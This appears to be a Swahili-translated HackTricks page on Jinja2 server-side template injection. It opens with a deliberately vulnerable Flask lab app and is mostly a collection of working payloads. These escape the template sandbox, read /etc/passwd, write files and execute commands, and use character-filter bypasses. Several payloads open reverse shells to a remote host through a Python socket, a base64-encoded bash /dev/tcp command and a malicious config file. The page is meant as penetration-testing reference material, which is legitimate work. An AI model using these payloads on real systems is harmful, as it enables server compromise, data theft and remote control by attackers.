14 KiB
Jinja2 SSTI
Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Lab
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
Misc
Kauli ya Uchunguzi
Ikiwa Kifaa cha Uchunguzi kimeanzishwa, lebo ya debug
itapatikana kwa kudump muktadha wa sasa pamoja na vichungi na majaribio yanayopatikana. Hii ni muhimu kuona ni nini kinapatikana kutumia kwenye kigezo bila kuweka debugger.
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
Mwaga pembejeo zote za usanidi
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
Uingiliaji wa Jinja
Kwanza kabisa, katika uingiliaji wa Jinja unahitaji kupata njia ya kutoroka kutoka kwa sanduku la mchanga na kupata upya ufikiaji wa mwendelezo wa utekelezaji wa python wa kawaida. Ili kufanya hivyo, unahitaji kutumia vitu ambavyo vinatoka kwenye mazingira yasiyo ya sanduku la mchanga lakini vinapatikana kutoka kwa sanduku la mchanga.
Kupata Vitu vya Kitaifa
Kwa mfano, katika nambari render_template("hello.html", username=username, email=email)
vitu vya jina la mtumiaji (username) na barua pepe (email) vinatoka kwenye mazingira ya python yasiyo ya sanduku na vitapatikana ndani ya mazingira ya sanduku.
Zaidi ya hayo, kuna vitu vingine ambavyo vitakuwa vinapatikana daima kutoka kwa mazingira ya sanduku, hivi ni:
[]
''
()
dict
config
request
Kurejesha <class 'object'>
Kisha, kutoka kwa vitu hivi tunahitaji kufikia darasa: <class 'object'>
ili kujaribu kurejesha darasa zilizofafanuliwa. Hii ni kwa sababu kutoka kwa kipengee hiki tunaweza kuita njia ya __subclasses__
na kufikia darasa zote kutoka kwa mazingira ya python yasiyokuwa na sanduku.
Ili kufikia darasa la kipengee hicho, unahitaji kufikia kipengee cha darasa na kisha ufikie __base__
, __mro__()[-1]
au .
mro()[-1]
. Na kisha, baada ya kufikia darasa hili la kipengee tunaita __subclasses__()
.
Angalia mifano hii:
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
Kutoroka RCE
Baada ya kupata <class 'object'>
na kuita __subclasses__
sasa tunaweza kutumia classes hizo kusoma na kuandika faili na kutekeleza nambari.
Wito kwa __subclasses__
umetupa fursa ya kupata mamia ya kazi mpya, tutafurahi tu kwa kupata darasa la faili ili kusoma/kuandika faili au darasa lolote lenye upatikanaji wa darasa linalo ruhusu kutekeleza amri (kama vile os
).
Soma/Andika faili za mbali
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
RCE
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Without '{{' and '}}'
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
Kujifunza kuhusu madarasa zaidi unayoweza kutumia kwa kutoroka unaweza kuangalia:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Kupitisha vikwazo
Kupitisha kawaida
Hizi kupitisha zitaruhusu upatikanaji wa sifa za vitu bila kutumia baadhi ya herufi.
Tayari tumeshaona baadhi ya hizi kupitisha katika mifano ya hapo awali, lakini hebu tuzikusanye hapa:
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
- Rudi hapa kwa chaguo zaidi za kupata kipengee cha ulimwengu
- Rudi hapa kwa chaguo zaidi za kupata darasa la kipengee
- Soma hii ili upate RCE bila darasa la kipengee
Kuepuka uendeshaji wa HTML
Kwa chaguo la msingi, Flask hufanya uendeshaji wa HTML kwa kila kitu ndani ya kiolesura kwa sababu za usalama:
{{'<script>alert(1);</script>'}}
#will be
<script>alert(1);</script>
Filteri ya safe
inaruhusu sisi kuingiza JavaScript na HTML kwenye ukurasa bila kuwa HTML encoded, kama hivi:
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
RCE kwa kuandika faili ya usanidi mbaya.
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
Bila wahusika kadhaa
Bila {{
.
[
]
}}
_
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
Kuingiza Jinja bila <class 'object'>
Kutoka kwa vitu vya kimataifa kuna njia nyingine ya kufikia RCE bila kutumia darasa hilo.
Ikiwa utafanikiwa kufikia kazi yoyote kutoka kwa vitu hivyo vya kimataifa, utaweza kufikia __globals__.__builtins__
na kutoka hapo RCE ni rahisi sana.
Unaweza kupata kazi kutoka kwa vitu ombi
, mpangilio
na vitu vingine vya kimataifa vinavyovutia ambavyo unaweza kufikia na:
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
Baada ya kupata baadhi ya kazi unaweza kurejesha builtins na:
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
Marejeo
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
- Angalia mbinu ya attr ya kudanganya herufi zilizopigwa marufuku hapa.
- https://twitter.com/SecGus/status/1198976764351066113
- https://hackmd.io/@Chivato/HyWsJ31dI
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.